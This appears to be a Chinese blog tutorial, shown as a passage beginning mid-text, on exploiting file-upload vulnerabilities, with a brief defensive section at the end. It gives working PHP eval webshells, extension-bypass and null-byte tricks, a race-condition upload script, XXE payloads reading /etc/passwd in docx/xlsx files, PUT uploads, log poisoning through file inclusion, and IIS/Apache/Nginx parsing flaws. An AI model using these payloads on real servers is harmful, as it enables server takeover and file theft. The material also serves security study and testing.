双写:上传WebShell到服务器后,服务器会把黑名单中的后缀替换为空,也就是去除,顺序是从左到右,且只进行一次操作,通过双写后缀进行绕过,如test.pphphp,经过替换后的文件名为test.php。 大小写:服务器验证文件后缀时,设置为区分大小写,那么就可以对文件后缀进行大小写处理,如.pHp、PhP等,因为只过滤.php,所以经过大小写处理的后缀可以被上传,又因为配置文件处理.php文件时不区分大小写,所以.pHp可以被执行。 多后缀:服务器处理上传文件时,对后缀进行检查,顺序是从后往前,具体来说就是检查从后往前的第一个点(.)第一个点(.)后面的内容就会被识别为后缀,那么webshell文件test.php则可以在后面添加允许的后缀绕过检查,test.php.jpg。也可以只加点(.),test.php.,这样的话后缀实际上就是空,空后缀没有在黑名单中,就可以绕过。 尾部字符:文件上传到服务器后,如果文件名中带空格,服务器会自动去除空格,如果上传时服务器对空格没有过滤,且加空格的后缀也没有在黑名单,就可以通过后缀加空格绕过了。上传到服务器后空格被去除,后缀被还原。 尾部符号绕过还有分号(;)和空字节的URL编码(%00),即代表结束、截断的意思,test.php;.jpg、test.php%00.jpg,上传时服务器检查后缀是.jpg,可以上传没问题,但是在执行时,分号(;)和空字节的URL编码(%00)后面的部分会被忽略,最后识别到的文件就是test.php。但只针对GET请求,如果是POST,则需要拦截请求包,在数据包中修改了,test.php0x00.jpg,0x00是空字节的十六进制编码,实际利用中需要将其替换,而不是直接输入0x00。 URL编码:如果服务器在处理上传文件时,没有解码操作,则可以将点(.)进行URL编码(%2e)绕过,test%2ephp,服务器执行该文件时会进行解码,这时文件名被还原test.php。 这只是混淆文件后缀众多方法中的一小部分。其中双写、大小写、末尾加点(.)加空格和URL编码属于是黑名单绕过范畴,而多后缀、00截断则针对的是白名单防护。 绕过文件内容检查上传WebShell 为了防止攻击者上传包含恶意代码的图片文件,服务器会对上传文件的内容做检查,检查是否具有图片的特征,如文件头的前两个字节是不是图片,内容中有没有图片的尺寸属性等等。 可以制作一个图片马进行绕过,方式如下: copy test.jpg/b+shell.php shell.jpgcopy:windows系统复制命令。 test.jpg:合法图片文件。 /b:二进制模式,表示复制过程中,合法图片的内容不被修改,原封不动地复制。 +:附加,这里表示把shell.php文件内容附加到test.jpg文件中去。 shell.php:webshell。 shell.jpg:最后生成的图片马文件。 制作方法有很多,这里用的是copy方法,这样制作的图片马可以以图片形式正常打开,只是把webshell文件内容隐藏到了图片内容的末尾。 如果只检查文件头,则可以只修改文件头为合法的即可,如下: JPG:0xFF 0xD8 PNG:0x89 0x50 GIF:0x47 0x49修改文件头有很多工具和插件都可以完成,也可以使用Burp拦截上传请求后,在数据包中修改,现在代码前添加两个占位符,选中后修改其十六进制为图片即可,如下图: 图片 条件竞争上传WebShell 现代框架处理上传文件,一般是先放到沙盒目录,比如/upload\_sandbox,用于临时存放文件和隔离上传文件,且没有执行权,文件上传到沙盒目录时还会进行随机改名处理,防止覆盖文件。接下来会检查文件的文件名、文件内容、后缀、魔数等等,如果符合要求判定为安全,才会将文件上传到真实上传目录,比如/upload,如果识别文件是危险的,则会直接删除。 但是,如果没有使用任何框架,而是自定义处理上传的文件,则会出现一种情况,就是上传文件时,没有经过任何过滤就直接存放到了服务器真实上传目录,然后才对其是否合法进行检查,合法保留,不合法删掉,检查时间可能就只有几毫秒,虽然时间很短,但仍然可以通过条件竞争方式上传WebShell。 操作只需要两步: 一、拦截上传请求,对其进行并发,文件后缀为php,内容如下: <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>fopen('shell.php','w') :以写的模式打开shell.php,如果文件不存在就新建一个。 fputs :将 <?php @eval($_POST[123])?> 写入shell.php。 如下图: 图片 二、拦截访问请求,对其进行并发,访问的是我们上传的test.php,上传路径可以先上传一张合法图片查看,并发过程和第一步一样,也可以修改线程,提高成功率。 上传test.php到服务器后,服务器并没有及时删除(几毫秒时间),且幸运的被访问到,则执行命令,创建WebShell。 上传其他恶意文件 除了上传WebShell获取服务器权限外,还可以上传其他恶意文件进行攻击,如下情况: 一、服务器允许上传html、svg后缀的文件,则可以构造恶意JS脚本,进行XSS攻击。 二、服务器允许上传docx、xlsx后缀的文件,则可以引入XML外部实体,进行XXE攻击。 docx和xlsx文件都是一个ZIP压缩包,其中包含多个XML文件,可以向XML文件中注入XXEPayload,方法如下: docx 1、新建docx文件并解压。 2、解压后的文件结构如下图。 图片 word文件夹下有多个XML文件,均可以注入,但推荐修改document.xml。 图片 3、记事本打开文件document.xml进行修改。 4、document.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t></w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t>&test;</w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>共对两处进行了修改: a.定义外部实体test,内容为读取服务器/etc/passwd文件。 b.在<w:t>标签中引用test实体。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为docx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 xlsx: 大致过程和具体细节和docx相似,但涉及的XML文件不同。 1、新建xlsx文件并解压。 2、解压后的文件结构如下图。 图片 3、记事本打开文件sheet1.xml进行修改,位置:xl > worksheets > sheet1.xml。 4、sheet1.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>0</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>&test;</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>还是定义了外部实体test并且引用,在<v>标签中。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为xlsx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 如果服务器允许解析XML外部实体,上传后观察响应,是否返回内容,也不排除盲的情况,可以将定义的外部实体内容修改为自己的dnslog地址进行测试。 使用PUT上传文件 如果服务器允许PUT方法,即使没有上传点,也可以进行文件上传,如下请求: PUT /images/test.php HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-httpd-php Content-Length: 49<?php @eval($_POST[123]); ?>可以通过OPTIONS方法向服务器发送预检请求,判断是否允许PUT方法。 文件包含 文件包含漏洞主要出现在PHP开发的Web应用中,在开发的时候,有很多地方会用到相同的代码,每次都重复写一遍太麻烦,为了方便,会使用文件包含函数直接包含代码文件,如果文件包含函数对包含的文件没有进行过滤和校验,就会造成文件包含漏洞。 include():包含文件不存在或出错,程序继续运行。 require():包含文件不存在或出错,程序终止运行。 include_once():如果相同的文件已被包含,不再进行二次包含操作。 require_once():如果相同的文件已被包含,不再进行二次包含操作。文件包含又分为本地包含(LFI)和远程包含(RFI),包含路径用相对路径或绝对路径都可以,RFI需要PHP配置allow\_url\_include=on。 LFI:https://example.com/index.php?file=../../upload/shell.php RFI:https://example.com/index.php?file=https://test.com/upload/shell.php利用文件包含漏洞执行WebShell 在防御文件上传攻击时,服务器使用了白名单校验,但是,如果服务器存在文件包含漏洞的话,攻击者依然可以执行WebShell获取服务器权限。 制作图片马,或其他包含恶意代码的合法文件上传至服务器绕过白名单校验,通过对该文件进行包含,让服务器去执行,PHP在执行include()或require()时,不会验证后缀,只会读取内容,如果是PHP代码,则会使用PHP解释器执行。 通过写入日志执行WebShell 服务器使用了更强大的防护机制,不仅检查文件后缀,还对文件内容进行了严格校验,只要包含恶意代码,一律拒绝上传,这样的话就无法通过上传方式执行WebShell获取服务器权限了,但是,如果服务器存在文件包含漏洞,可以直接包含恶意代码,将代码写入日志文件,再包含日志文件执行WebShell。 https://example.com/index.php?file=<?php @eval($_POST[123]); ?>如果在浏览器包含执行,浏览器会把特殊符号进行URL编码,可以通过Burp发送。 图片 400的原因是包含的文件不存在,查看日志文件,木马成功写入。 图片 再包含日志文件就可以执行WebShell了,默认访问日志文件路径参考: nginx: /var/log/nginx/access.log apache: /var/log/apache2/access.log /var/log/httpd/access_log 解析漏洞 从客户端发送请求,到数据库收到请求,这中间经过的程序都叫中间件,而解析漏洞主要说的是Web服务应用程序,也就是IIS、Apache、Nginx等等,这里就先简单讲一下关于这三个中间件的解析漏洞。 IIS IIS分低版本(IIS 5.x-IIS 6.x)和高版本(IIS 7.x及以上),低版本只能解析asp的WebShell。方法如下: 目录解析: 服务器会把后缀为.asp文件夹下的文件,都按asp文件解析执行,如下: https://example.com/upload/test.asp/test.jpg如果上传路径可控,可以添加一个以.asp为后缀的文件夹,把图片马放到该目录下上传,访问执行WebShell。 文件解析: 之前将混淆后缀的时候讲到过,就是在后缀后面加个分号(;)在跟一个合法后缀,如下: https://example.com/upload/test.asp;.jpg解析的时候分号(;)代表结束,所以后面的内容不会解析,解析文件就成了test.asp。 格式解析: 有些后缀服务器也会当作asp解析,比如.asa、cer、cdx等等,具体可以查看ISAPI扩展。 https://example.com/upload/test.cerIIS7.x版本也存在解析漏洞,跟Nginx的解析漏洞一样, 这就不讲了,统一在Nginx解析漏洞中讲。 Apache 解析顺序: Apache服务器解释的时候顺序是从右往左,如果添加服务器无法识别的后缀会发生什么呢,如下: https://example.com/upload/test.php.aaa.bbb假如往服务器上传了一个test.php.aaa.bbb文件,正常情况下肯定是访问失败,但是Apache低版本(Apache2.2及以下)是可以正常解析的,访问执行时,服务器从右往左开始解析后缀,如果无法解析,就会继续向左解析,直到碰到可以解析的后缀,那么test.php.aaa.bbb文件最后就会被解析成test.php。 配置文件: 上面也提到过,就是AddType application/x-httpd-php配置,该配置的意思是什么后缀会被当成php代码解析,如果配置不当,将一些合法后缀添加到该配置项,就会被攻击者利用,造成安全问题,如下: AddType application/x-httpd-php .php .jpg .txtNginx 跟php和nginx的配置有关,先看一下正常情况,向服务器上传图片马绕过白名单校验。 https://example.com/upload/test.jpg在图片马后添加一个不存在的php文件,如下: https://example.com/upload/test.jpg/123.php正常肯定返回404页面不存在,但是如果nginx错误配置try\_files,收到请求后,不会去检查文件是否存在,而是看是什么类型的文件,如果是php,直接交给php解释器去执行,php配置cgi.fix\_pathinfo,默认值为1,表示开启,0是关闭,正常情况,php解释器会检查123.php是否存在,如果不存则响应404,但是使用cgi.fix\_pathinfo配置后,如果123.php不存在,则会检查上一层目录是否存在,以此类推,检查到test.jpg时,发现test.jpg存在,php解释器就会把test.jpg当作php解析执行。 所以测试的时候,在图片马后加一个不存在的php文件判断就行了。 绕过 文件上传漏洞绕过总结,如下图: 图片 预防攻击 可以借鉴以下方式对文件上传漏洞进行防御和修复。 白名单校验 对文件后缀进行白名单校验,只允许上传白名单中被允许后缀的文件,例如只允许上传.jpg、.png类型文件。同时对MIME类型进行检查。 检查文件内容 对上传文件的内容进行严格检查,如果存在恶意代码,拒绝上传,检查文件名,防止覆盖文件,或者对上传到服务器的文件进行修改随即名处理。 上传目录权限 设置上传目录为只允许上传静态文件,避免上传目录拥有执行权,防止攻击者绕过防护上传WebShell到服务器执行。 使用安全框架 尽量使用安全的框架处理文件上传,如果使用自定义,请做好安全防护。 安全的中间件 使用最新版本的中间件,及时更新,正确配置,避免攻击者利用中间件解析漏洞进行文件上传漏洞利用。 总结 如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!
技术教程
# PHP
# 网络安全
易航
1月10日
0
25
0
上一页
1
2
3
...
15
下一页